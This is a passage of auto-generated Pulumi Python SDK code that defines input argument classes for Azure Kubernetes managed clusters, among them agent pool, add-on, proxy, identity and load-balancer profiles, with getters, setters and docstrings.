private_dns_zone: Private dns zone mode for private cluster. """ if authorized_ip_ranges is not None: pulumi.set(__self__, "authorized_ip_ranges", authorized_ip_ranges) if enable_private_cluster is not None: pulumi.set(__self__, "enable_private_cluster", enable_private_cluster) if private_dns_zone is not None: pulumi.set(__self__, "private_dns_zone", private_dns_zone) @property @pulumi.getter(name="authorizedIPRanges") def authorized_ip_ranges(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Authorized IP Ranges to kubernetes API server. """ return pulumi.get(self, "authorized_ip_ranges") @authorized_ip_ranges.setter def authorized_ip_ranges(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "authorized_ip_ranges", value) @property @pulumi.getter(name="enablePrivateCluster") def enable_private_cluster(self) -> Optional[pulumi.Input[bool]]: """ Whether to create the cluster as a private cluster or not. """ return pulumi.get(self, "enable_private_cluster") @enable_private_cluster.setter def enable_private_cluster(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_private_cluster", value) @property @pulumi.getter(name="privateDNSZone") def private_dns_zone(self) -> Optional[pulumi.Input[str]]: """ Private dns zone mode for private cluster. """ return pulumi.get(self, "private_dns_zone") @private_dns_zone.setter def private_dns_zone(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_dns_zone", value) @pulumi.input_type class ManagedClusterAddonProfileArgs: def __init__(__self__, *, enabled: pulumi.Input[bool], config: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ A Kubernetes add-on profile for a managed cluster. :param pulumi.Input[bool] enabled: Whether the add-on is enabled or not. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] config: Key-value pairs for configuring an add-on. """ pulumi.set(__self__, "enabled", enabled) if config is not None: pulumi.set(__self__, "config", config) @property @pulumi.getter def enabled(self) -> pulumi.Input[bool]: """ Whether the add-on is enabled or not. """ return pulumi.get(self, "enabled") @enabled.setter def enabled(self, value: pulumi.Input[bool]): pulumi.set(self, "enabled", value) @property @pulumi.getter def config(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Key-value pairs for configuring an add-on. """ return pulumi.get(self, "config") @config.setter def config(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "config", value) @pulumi.input_type class ManagedClusterAgentPoolProfileArgs: def __init__(__self__, *, name: pulumi.Input[str], availability_zones: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, count: Optional[pulumi.Input[int]] = None, enable_auto_scaling: Optional[pulumi.Input[bool]] = None, enable_encryption_at_host: Optional[pulumi.Input[bool]] = None, enable_fips: Optional[pulumi.Input[bool]] = None, enable_node_public_ip: Optional[pulumi.Input[bool]] = None, gpu_instance_profile: Optional[pulumi.Input[Union[str, 'GPUInstanceProfile']]] = None, kubelet_config: Optional[pulumi.Input['KubeletConfigArgs']] = None, kubelet_disk_type: Optional[pulumi.Input[Union[str, 'KubeletDiskType']]] = None, linux_os_config: Optional[pulumi.Input['LinuxOSConfigArgs']] = None, max_count: Optional[pulumi.Input[int]] = None, max_pods: Optional[pulumi.Input[int]] = None, min_count: Optional[pulumi.Input[int]] = None, mode: Optional[pulumi.Input[Union[str, 'AgentPoolMode']]] = None, node_labels: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, node_public_ip_prefix_id: Optional[pulumi.Input[str]] = None, node_taints: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, orchestrator_version: Optional[pulumi.Input[str]] = None, os_disk_size_gb: Optional[pulumi.Input[int]] = None, os_disk_type: Optional[pulumi.Input[Union[str, 'OSDiskType']]] = None, os_sku: Optional[pulumi.Input[Union[str, 'OSSKU']]] = None, os_type: Optional[pulumi.Input[Union[str, 'OSType']]] = None, pod_subnet_id: Optional[pulumi.Input[str]] = None, proximity_placement_group_id: Optional[pulumi.Input[str]] = None, scale_set_eviction_policy: Optional[pulumi.Input[Union[str, 'ScaleSetEvictionPolicy']]] = None, scale_set_priority: Optional[pulumi.Input[Union[str, 'ScaleSetPriority']]] = None, spot_max_price: Optional[pulumi.Input[float]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, type: Optional[pulumi.Input[Union[str, 'AgentPoolType']]] = None, upgrade_settings: Optional[pulumi.Input['AgentPoolUpgradeSettingsArgs']] = None, vm_size: Optional[pulumi.Input[str]] = None, vnet_subnet_id: Optional[pulumi.Input[str]] = None): """ Profile for the container service agent pool. :param pulumi.Input[str] name: Unique name of the agent pool profile in the context of the subscription and resource group. :param pulumi.Input[Sequence[pulumi.Input[str]]] availability_zones: Availability zones for nodes. Must use VirtualMachineScaleSets AgentPoolType. :param pulumi.Input[int] count: Number of agents (VMs) to host docker containers. Allowed values must be in the range of 0 to 100 (inclusive) for user pools and in the range of 1 to 100 (inclusive) for system pools. The default value is 1. :param pulumi.Input[bool] enable_auto_scaling: Whether to enable auto-scaler :param pulumi.Input[bool] enable_encryption_at_host: Whether to enable EncryptionAtHost :param pulumi.Input[bool] enable_fips: Whether to use FIPS enabled OS :param pulumi.Input[bool] enable_node_public_ip: Enable public IP for nodes :param pulumi.Input[Union[str, 'GPUInstanceProfile']] gpu_instance_profile: GPUInstanceProfile to be used to specify GPU MIG instance profile for supported GPU VM SKU. Supported values are MIG1g, MIG2g, MIG3g, MIG4g and MIG7g. :param pulumi.Input['KubeletConfigArgs'] kubelet_config: KubeletConfig specifies the configuration of kubelet on agent nodes. :param pulumi.Input[Union[str, 'KubeletDiskType']] kubelet_disk_type: KubeletDiskType determines the placement of emptyDir volumes, container runtime data root, and Kubelet ephemeral storage. Currently allows one value, OS, resulting in Kubelet using the OS disk for data. :param pulumi.Input['LinuxOSConfigArgs'] linux_os_config: LinuxOSConfig specifies the OS configuration of linux agent nodes. :param pulumi.Input[int] max_count: Maximum number of nodes for auto-scaling :param pulumi.Input[int] max_pods: Maximum number of pods that can run on a node. :param pulumi.Input[int] min_count: Minimum number of nodes for auto-scaling :param pulumi.Input[Union[str, 'AgentPoolMode']] mode: AgentPoolMode represents mode of an agent pool :param pulumi.Input[Mapping[str, pulumi.Input[str]]] node_labels: Agent pool node labels to be persisted across all nodes in agent pool. :param pulumi.Input[str] node_public_ip_prefix_id: Public IP Prefix ID. VM nodes use IPs assigned from this Public IP Prefix. :param pulumi.Input[Sequence[pulumi.Input[str]]] node_taints: Taints added to new nodes during node pool create and scale. For example, key=value:NoSchedule. :param pulumi.Input[str] orchestrator_version: Version of orchestrator specified when creating the managed cluster. :param pulumi.Input[int] os_disk_size_gb: OS Disk Size in GB to be used to specify the disk size for every machine in this master/agent pool. If you specify 0, it will apply the default osDisk size according to the vmSize specified. :param pulumi.Input[Union[str, 'OSDiskType']] os_disk_type: OS disk type to be used for machines in a given agent pool. Allowed values are 'Ephemeral' and 'Managed'. If unspecified, defaults to 'Ephemeral' when the VM supports ephemeral OS and has a cache disk larger than the requested OSDiskSizeGB. Otherwise, defaults to 'Managed'. May not be changed after creation. :param pulumi.Input[Union[str, 'OSSKU']] os_sku: OsSKU to be used to specify os sku. Choose from Ubuntu(default) and CBLMariner for Linux OSType. Not applicable to Windows OSType. :param pulumi.Input[Union[str, 'OSType']] os_type: OsType to be used to specify os type. Choose from Linux and Windows. Default to Linux. :param pulumi.Input[str] pod_subnet_id: Pod SubnetID specifies the VNet's subnet identifier for pods. :param pulumi.Input[str] proximity_placement_group_id: The ID for Proximity Placement Group. :param pulumi.Input[Union[str, 'ScaleSetEvictionPolicy']] scale_set_eviction_policy: ScaleSetEvictionPolicy to be used to specify eviction policy for Spot virtual machine scale set. Default to Delete. :param pulumi.Input[Union[str, 'ScaleSetPriority']] scale_set_priority: ScaleSetPriority to be used to specify virtual machine scale set priority. Default to regular. :param pulumi.Input[float] spot_max_price: SpotMaxPrice to be used to specify the maximum price you are willing to pay in US Dollars. Possible values are any decimal value greater than zero or -1 which indicates default price to be up-to on-demand. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Agent pool tags to be persisted on the agent pool virtual machine scale set. :param pulumi.Input[Union[str, 'AgentPoolType']] type: AgentPoolType represents types of an agent pool :param pulumi.Input['AgentPoolUpgradeSettingsArgs'] upgrade_settings: Settings for upgrading the agentpool :param pulumi.Input[str] vm_size: Size of agent VMs. :param pulumi.Input[str] vnet_subnet_id: VNet SubnetID specifies the VNet's subnet identifier for nodes and maybe pods """ pulumi.set(__self__, "name", name) if availability_zones is not None: pulumi.set(__self__, "availability_zones", availability_zones) if count is not None: pulumi.set(__self__, "count", count) if enable_auto_scaling is not None: pulumi.set(__self__, "enable_auto_scaling", enable_auto_scaling) if enable_encryption_at_host is not None: pulumi.set(__self__, "enable_encryption_at_host", enable_encryption_at_host) if enable_fips is not None: pulumi.set(__self__, "enable_fips", enable_fips) if enable_node_public_ip is not None: pulumi.set(__self__, "enable_node_public_ip", enable_node_public_ip) if gpu_instance_profile is not None: pulumi.set(__self__, "gpu_instance_profile", gpu_instance_profile) if kubelet_config is not None: pulumi.set(__self__, "kubelet_config", kubelet_config) if kubelet_disk_type is not None: pulumi.set(__self__, "kubelet_disk_type", kubelet_disk_type) if linux_os_config is not None: pulumi.set(__self__, "linux_os_config", linux_os_config) if max_count is not None: pulumi.set(__self__, "max_count", max_count) if max_pods is not None: pulumi.set(__self__, "max_pods", max_pods) if min_count is not None: pulumi.set(__self__, "min_count", min_count) if mode is not None: pulumi.set(__self__, "mode", mode) if node_labels is not None: pulumi.set(__self__, "node_labels", node_labels) if node_public_ip_prefix_id is not None: pulumi.set(__self__, "node_public_ip_prefix_id", node_public_ip_prefix_id) if node_taints is not None: pulumi.set(__self__, "node_taints", node_taints) if orchestrator_version is not None: pulumi.set(__self__, "orchestrator_version", orchestrator_version) if os_disk_size_gb is not None: pulumi.set(__self__, "os_disk_size_gb", os_disk_size_gb) if os_disk_type is not None: pulumi.set(__self__, "os_disk_type", os_disk_type) if os_sku is not None: pulumi.set(__self__, "os_sku", os_sku) if os_type is not None: pulumi.set(__self__, "os_type", os_type) if pod_subnet_id is not None: pulumi.set(__self__, "pod_subnet_id", pod_subnet_id) if proximity_placement_group_id is not None: pulumi.set(__self__, "proximity_placement_group_id", proximity_placement_group_id) if scale_set_eviction_policy is not None: pulumi.set(__self__, "scale_set_eviction_policy", scale_set_eviction_policy) if scale_set_priority is not None: pulumi.set(__self__, "scale_set_priority", scale_set_priority) if spot_max_price is not None: pulumi.set(__self__, "spot_max_price", spot_max_price) if tags is not None: pulumi.set(__self__, "tags", tags) if type is not None: pulumi.set(__self__, "type", type) if upgrade_settings is not None: pulumi.set(__self__, "upgrade_settings", upgrade_settings) if vm_size is not None: pulumi.set(__self__, "vm_size", vm_size) if vnet_subnet_id is not None: pulumi.set(__self__, "vnet_subnet_id", vnet_subnet_id) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ Unique name of the agent pool profile in the context of the subscription and resource group. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter(name="availabilityZones") def availability_zones(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Availability zones for nodes. Must use VirtualMachineScaleSets AgentPoolType. """ return pulumi.get(self, "availability_zones") @availability_zones.setter def availability_zones(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "availability_zones", value) @property @pulumi.getter def count(self) -> Optional[pulumi.Input[int]]: """ Number of agents (VMs) to host docker containers. Allowed values must be in the range of 0 to 100 (inclusive) for user pools and in the range of 1 to 100 (inclusive) for system pools. The default value is 1. """ return pulumi.get(self, "count") @count.setter def count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "count", value) @property @pulumi.getter(name="enableAutoScaling") def enable_auto_scaling(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable auto-scaler """ return pulumi.get(self, "enable_auto_scaling") @enable_auto_scaling.setter def enable_auto_scaling(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_auto_scaling", value) @property @pulumi.getter(name="enableEncryptionAtHost") def enable_encryption_at_host(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable EncryptionAtHost """ return pulumi.get(self, "enable_encryption_at_host") @enable_encryption_at_host.setter def enable_encryption_at_host(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_encryption_at_host", value) @property @pulumi.getter(name="enableFIPS") def enable_fips(self) -> Optional[pulumi.Input[bool]]: """ Whether to use FIPS enabled OS """ return pulumi.get(self, "enable_fips") @enable_fips.setter def enable_fips(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_fips", value) @property @pulumi.getter(name="enableNodePublicIP") def enable_node_public_ip(self) -> Optional[pulumi.Input[bool]]: """ Enable public IP for nodes """ return pulumi.get(self, "enable_node_public_ip") @enable_node_public_ip.setter def enable_node_public_ip(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enable_node_public_ip", value) @property @pulumi.getter(name="gpuInstanceProfile") def gpu_instance_profile(self) -> Optional[pulumi.Input[Union[str, 'GPUInstanceProfile']]]: """ GPUInstanceProfile to be used to specify GPU MIG instance profile for supported GPU VM SKU. Supported values are MIG1g, MIG2g, MIG3g, MIG4g and MIG7g. """ return pulumi.get(self, "gpu_instance_profile") @gpu_instance_profile.setter def gpu_instance_profile(self, value: Optional[pulumi.Input[Union[str, 'GPUInstanceProfile']]]): pulumi.set(self, "gpu_instance_profile", value) @property @pulumi.getter(name="kubeletConfig") def kubelet_config(self) -> Optional[pulumi.Input['KubeletConfigArgs']]: """ KubeletConfig specifies the configuration of kubelet on agent nodes. """ return pulumi.get(self, "kubelet_config") @kubelet_config.setter def kubelet_config(self, value: Optional[pulumi.Input['KubeletConfigArgs']]): pulumi.set(self, "kubelet_config", value) @property @pulumi.getter(name="kubeletDiskType") def kubelet_disk_type(self) -> Optional[pulumi.Input[Union[str, 'KubeletDiskType']]]: """ KubeletDiskType determines the placement of emptyDir volumes, container runtime data root, and Kubelet ephemeral storage. Currently allows one value, OS, resulting in Kubelet using the OS disk for data. """ return pulumi.get(self, "kubelet_disk_type") @kubelet_disk_type.setter def kubelet_disk_type(self, value: Optional[pulumi.Input[Union[str, 'KubeletDiskType']]]): pulumi.set(self, "kubelet_disk_type", value) @property @pulumi.getter(name="linuxOSConfig") def linux_os_config(self) -> Optional[pulumi.Input['LinuxOSConfigArgs']]: """ LinuxOSConfig specifies the OS configuration of linux agent nodes. """ return pulumi.get(self, "linux_os_config") @linux_os_config.setter def linux_os_config(self, value: Optional[pulumi.Input['LinuxOSConfigArgs']]): pulumi.set(self, "linux_os_config", value) @property @pulumi.getter(name="maxCount") def max_count(self) -> Optional[pulumi.Input[int]]: """ Maximum number of nodes for auto-scaling """ return pulumi.get(self, "max_count") @max_count.setter def max_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_count", value) @property @pulumi.getter(name="maxPods") def max_pods(self) -> Optional[pulumi.Input[int]]: """ Maximum number of pods that can run on a node. """ return pulumi.get(self, "max_pods") @max_pods.setter def max_pods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_pods", value) @property @pulumi.getter(name="minCount") def min_count(self) -> Optional[pulumi.Input[int]]: """ Minimum number of nodes for auto-scaling """ return pulumi.get(self, "min_count") @min_count.setter def min_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_count", value) @property @pulumi.getter def mode(self) -> Optional[pulumi.Input[Union[str, 'AgentPoolMode']]]: """ AgentPoolMode represents mode of an agent pool """ return pulumi.get(self, "mode") @mode.setter def mode(self, value: Optional[pulumi.Input[Union[str, 'AgentPoolMode']]]): pulumi.set(self, "mode", value) @property @pulumi.getter(name="nodeLabels") def node_labels(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Agent pool node labels to be persisted across all nodes in agent pool. """ return pulumi.get(self, "node_labels") @node_labels.setter def node_labels(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "node_labels", value) @property @pulumi.getter(name="nodePublicIPPrefixID") def node_public_ip_prefix_id(self) -> Optional[pulumi.Input[str]]: """ Public IP Prefix ID. VM nodes use IPs assigned from this Public IP Prefix. """ return pulumi.get(self, "node_public_ip_prefix_id") @node_public_ip_prefix_id.setter def node_public_ip_prefix_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "node_public_ip_prefix_id", value) @property @pulumi.getter(name="nodeTaints") def node_taints(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Taints added to new nodes during node pool create and scale. For example, key=value:NoSchedule. """ return pulumi.get(self, "node_taints") @node_taints.setter def node_taints(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "node_taints", value) @property @pulumi.getter(name="orchestratorVersion") def orchestrator_version(self) -> Optional[pulumi.Input[str]]: """ Version of orchestrator specified when creating the managed cluster. """ return pulumi.get(self, "orchestrator_version") @orchestrator_version.setter def orchestrator_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "orchestrator_version", value) @property @pulumi.getter(name="osDiskSizeGB") def os_disk_size_gb(self) -> Optional[pulumi.Input[int]]: """ OS Disk Size in GB to be used to specify the disk size for every machine in this master/agent pool. If you specify 0, it will apply the default osDisk size according to the vmSize specified. """ return pulumi.get(self, "os_disk_size_gb") @os_disk_size_gb.setter def os_disk_size_gb(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "os_disk_size_gb", value) @property @pulumi.getter(name="osDiskType") def os_disk_type(self) -> Optional[pulumi.Input[Union[str, 'OSDiskType']]]: """ OS disk type to be used for machines in a given agent pool. Allowed values are 'Ephemeral' and 'Managed'. If unspecified, defaults to 'Ephemeral' when the VM supports ephemeral OS and has a cache disk larger than the requested OSDiskSizeGB. Otherwise, defaults to 'Managed'. May not be changed after creation. """ return pulumi.get(self, "os_disk_type") @os_disk_type.setter def os_disk_type(self, value: Optional[pulumi.Input[Union[str, 'OSDiskType']]]): pulumi.set(self, "os_disk_type", value) @property @pulumi.getter(name="osSKU") def os_sku(self) -> Optional[pulumi.Input[Union[str, 'OSSKU']]]: """ OsSKU to be used to specify os sku. Choose from Ubuntu(default) and CBLMariner for Linux OSType. Not applicable to Windows OSType. """ return pulumi.get(self, "os_sku") @os_sku.setter def os_sku(self, value: Optional[pulumi.Input[Union[str, 'OSSKU']]]): pulumi.set(self, "os_sku", value) @property @pulumi.getter(name="osType") def os_type(self) -> Optional[pulumi.Input[Union[str, 'OSType']]]: """ OsType to be used to specify os type. Choose from Linux and Windows. Default to Linux. """ return pulumi.get(self, "os_type") @os_type.setter def os_type(self, value: Optional[pulumi.Input[Union[str, 'OSType']]]): pulumi.set(self, "os_type", value) @property @pulumi.getter(name="podSubnetID") def pod_subnet_id(self) -> Optional[pulumi.Input[str]]: """ Pod SubnetID specifies the VNet's subnet identifier for pods. """ return pulumi.get(self, "pod_subnet_id") @pod_subnet_id.setter def pod_subnet_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pod_subnet_id", value) @property @pulumi.getter(name="proximityPlacementGroupID") def proximity_placement_group_id(self) -> Optional[pulumi.Input[str]]: """ The ID for Proximity Placement Group. """ return pulumi.get(self, "proximity_placement_group_id") @proximity_placement_group_id.setter def proximity_placement_group_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "proximity_placement_group_id", value) @property @pulumi.getter(name="scaleSetEvictionPolicy") def scale_set_eviction_policy(self) -> Optional[pulumi.Input[Union[str, 'ScaleSetEvictionPolicy']]]: """ ScaleSetEvictionPolicy to be used to specify eviction policy for Spot virtual machine scale set. Default to Delete. """ return pulumi.get(self, "scale_set_eviction_policy") @scale_set_eviction_policy.setter def scale_set_eviction_policy(self, value: Optional[pulumi.Input[Union[str, 'ScaleSetEvictionPolicy']]]): pulumi.set(self, "scale_set_eviction_policy", value) @property @pulumi.getter(name="scaleSetPriority") def scale_set_priority(self) -> Optional[pulumi.Input[Union[str, 'ScaleSetPriority']]]: """ ScaleSetPriority to be used to specify virtual machine scale set priority. Default to regular. """ return pulumi.get(self, "scale_set_priority") @scale_set_priority.setter def scale_set_priority(self, value: Optional[pulumi.Input[Union[str, 'ScaleSetPriority']]]): pulumi.set(self, "scale_set_priority", value) @property @pulumi.getter(name="spotMaxPrice") def spot_max_price(self) -> Optional[pulumi.Input[float]]: """ SpotMaxPrice to be used to specify the maximum price you are willing to pay in US Dollars. Possible values are any decimal value greater than zero or -1 which indicates default price to be up-to on-demand. """ return pulumi.get(self, "spot_max_price") @spot_max_price.setter def spot_max_price(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "spot_max_price", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Agent pool tags to be persisted on the agent pool virtual machine scale set. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[Union[str, 'AgentPoolType']]]: """ AgentPoolType represents types of an agent pool """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[Union[str, 'AgentPoolType']]]): pulumi.set(self, "type", value) @property @pulumi.getter(name="upgradeSettings") def upgrade_settings(self) -> Optional[pulumi.Input['AgentPoolUpgradeSettingsArgs']]: """ Settings for upgrading the agentpool """ return pulumi.get(self, "upgrade_settings") @upgrade_settings.setter def upgrade_settings(self, value: Optional[pulumi.Input['AgentPoolUpgradeSettingsArgs']]): pulumi.set(self, "upgrade_settings", value) @property @pulumi.getter(name="vmSize") def vm_size(self) -> Optional[pulumi.Input[str]]: """ Size of agent VMs. """ return pulumi.get(self, "vm_size") @vm_size.setter def vm_size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vm_size", value) @property @pulumi.getter(name="vnetSubnetID") def vnet_subnet_id(self) -> Optional[pulumi.Input[str]]: """ VNet SubnetID specifies the VNet's subnet identifier for nodes and maybe pods """ return pulumi.get(self, "vnet_subnet_id") @vnet_subnet_id.setter def vnet_subnet_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vnet_subnet_id", value) @pulumi.input_type class ManagedClusterAutoUpgradeProfileArgs: def __init__(__self__, *, upgrade_channel: Optional[pulumi.Input[Union[str, 'UpgradeChannel']]] = None): """ Auto upgrade profile for a managed cluster. :param pulumi.Input[Union[str, 'UpgradeChannel']] upgrade_channel: upgrade channel for auto upgrade. """ if upgrade_channel is not None: pulumi.set(__self__, "upgrade_channel", upgrade_channel) @property @pulumi.getter(name="upgradeChannel") def upgrade_channel(self) -> Optional[pulumi.Input[Union[str, 'UpgradeChannel']]]: """ upgrade channel for auto upgrade. """ return pulumi.get(self, "upgrade_channel") @upgrade_channel.setter def upgrade_channel(self, value: Optional[pulumi.Input[Union[str, 'UpgradeChannel']]]): pulumi.set(self, "upgrade_channel", value) @pulumi.input_type class ManagedClusterHTTPProxyConfigArgs: def __init__(__self__, *, http_proxy: Optional[pulumi.Input[str]] = None, https_proxy: Optional[pulumi.Input[str]] = None, no_proxy: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, trusted_ca: Optional[pulumi.Input[str]] = None): """ Configurations for provisioning the cluster with HTTP proxy servers. :param pulumi.Input[str] http_proxy: HTTP proxy server endpoint to use. :param pulumi.Input[str] https_proxy: HTTPS proxy server endpoint to use. :param pulumi.Input[Sequence[pulumi.Input[str]]] no_proxy: Endpoints that should not go through proxy. :param pulumi.Input[str] trusted_ca: Alternative CA cert to use for connecting to proxy servers. """ if http_proxy is not None: pulumi.set(__self__, "http_proxy", http_proxy) if https_proxy is not None: pulumi.set(__self__, "https_proxy", https_proxy) if no_proxy is not None: pulumi.set(__self__, "no_proxy", no_proxy) if trusted_ca is not None: pulumi.set(__self__, "trusted_ca", trusted_ca) @property @pulumi.getter(name="httpProxy") def http_proxy(self) -> Optional[pulumi.Input[str]]: """ HTTP proxy server endpoint to use. """ return pulumi.get(self, "http_proxy") @http_proxy.setter def http_proxy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "http_proxy", value) @property @pulumi.getter(name="httpsProxy") def https_proxy(self) -> Optional[pulumi.Input[str]]: """ HTTPS proxy server endpoint to use. """ return pulumi.get(self, "https_proxy") @https_proxy.setter def https_proxy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "https_proxy", value) @property @pulumi.getter(name="noProxy") def no_proxy(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Endpoints that should not go through proxy. """ return pulumi.get(self, "no_proxy") @no_proxy.setter def no_proxy(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "no_proxy", value) @property @pulumi.getter(name="trustedCa") def trusted_ca(self) -> Optional[pulumi.Input[str]]: """ Alternative CA cert to use for connecting to proxy servers. """ return pulumi.get(self, "trusted_ca") @trusted_ca.setter def trusted_ca(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "trusted_ca", value) @pulumi.input_type class ManagedClusterIdentityArgs: def __init__(__self__, *, type: Optional[pulumi.Input['ResourceIdentityType']] = None, user_assigned_identities: Optional[pulumi.Input[Mapping[str, Any]]] = None): """ Identity for the managed cluster. :param pulumi.Input['ResourceIdentityType'] type: The type of identity used for the managed cluster. Type 'SystemAssigned' will use an implicitly created identity in master components and an auto-created user assigned identity in MC_ resource group in agent nodes. Type 'None' will not use MSI for the managed cluster, service principal will be used instead. :param pulumi.Input[Mapping[str, Any]] user_assigned_identities: The user identity associated with the managed cluster. This identity will be used in control plane and only one user assigned identity is allowed. The user identity dictionary key references will be ARM resource ids in the form: '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/{identityName}'. """ if type is not None: pulumi.set(__self__, "type", type) if user_assigned_identities is not None: pulumi.set(__self__, "user_assigned_identities", user_assigned_identities) @property @pulumi.getter def type(self) -> Optional[pulumi.Input['ResourceIdentityType']]: """ The type of identity used for the managed cluster. Type 'SystemAssigned' will use an implicitly created identity in master components and an auto-created user assigned identity in MC_ resource group in agent nodes. Type 'None' will not use MSI for the managed cluster, service principal will be used instead. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input['ResourceIdentityType']]): pulumi.set(self, "type", value) @property @pulumi.getter(name="userAssignedIdentities") def user_assigned_identities(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ The user identity associated with the managed cluster. This identity will be used in control plane and only one user assigned identity is allowed. The user identity dictionary key references will be ARM resource ids in the form: '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ManagedIdentity/userAssignedIdentities/{identityName}'. """ return pulumi.get(self, "user_assigned_identities") @user_assigned_identities.setter def user_assigned_identities(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "user_assigned_identities", value) @pulumi.input_type class ManagedClusterLoadBalancerProfileManagedOutboundIPsArgs: def __init__(__self__, *, count: Optional[pulumi.Input[int]] = None): """ Desired managed outbound IPs for the cluster load balancer. :param pulumi.Input[int] count: Desired number of outbound IP created/managed by Azure for the cluster load balancer. Allowed values must be in the range of 1 to 100 (inclusive). The default value is 1. """ if count is None: count = 1 if count is not None: pulumi.set(__self__, "count", count) @property @pulumi.getter def count(self) -> Optional[pulumi.Input[int]]: """ Desired number of outbound IP created/managed by Azure for the cluster load balancer. Allowed values must be in the range of 1 to 100 (inclusive). The default value is 1. """ return pulumi.get(self, "count") @count.setter def count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "count", value) @pulumi.input_type class ManagedClusterLoadBalancerProfileOutboundIPPrefixesArgs: def __init__(__self__, *, public_ip_prefixes: Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]] = None): """ Desired outbound IP Prefix resources for the cluster load balancer. :param pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]] public_ip_prefixes: A list of public IP prefix resources. """ if public_ip_prefixes is not None: pulumi.set(__self__, "public_ip_prefixes", public_ip_prefixes) @property @pulumi.getter(name="publicIPPrefixes") def public_ip_prefixes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]]: """ A list of public IP prefix resources. """ return pulumi.get(self, "public_ip_prefixes") @public_ip_prefixes.setter def public_ip_prefixes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]]): pulumi.set(self, "public_ip_prefixes", value) @pulumi.input_type class ManagedClusterLoadBalancerProfileOutboundIPsArgs: def __init__(__self__, *, public_ips: Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]] = None): """ Desired outbound IP resources for the cluster load balancer. :param pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]] public_ips: A list of public IP resources. """ if public_ips is not None: pulumi.set(__self__, "public_ips", public_ips) @property @pulumi.getter(name="publicIPs") def public_ips(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]]: """ A list of public IP resources. """ return pulumi.get(self, "public_ips") @public_ips.setter def public_ips(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]]): pulumi.set(self, "public_ips", value) @pulumi.input_type class ManagedClusterLoadBalancerProfileArgs: def __init__(__self__, *, allocated_outbound_ports: Optional[pulumi.Input[int]] = None, effective_outbound_ips: Optional[pulumi.Input[Sequence[pulumi.Input['ResourceReferenceArgs']]]] = None, idle_timeout_in_minutes: Optional[pulumi.Input[int]] = None, managed_outbound_ips: Optional[pulumi.Input['ManagedClusterLoadBalancerProfileManagedOutboundIPsArgs']] = None, outbound_ip_prefixes: 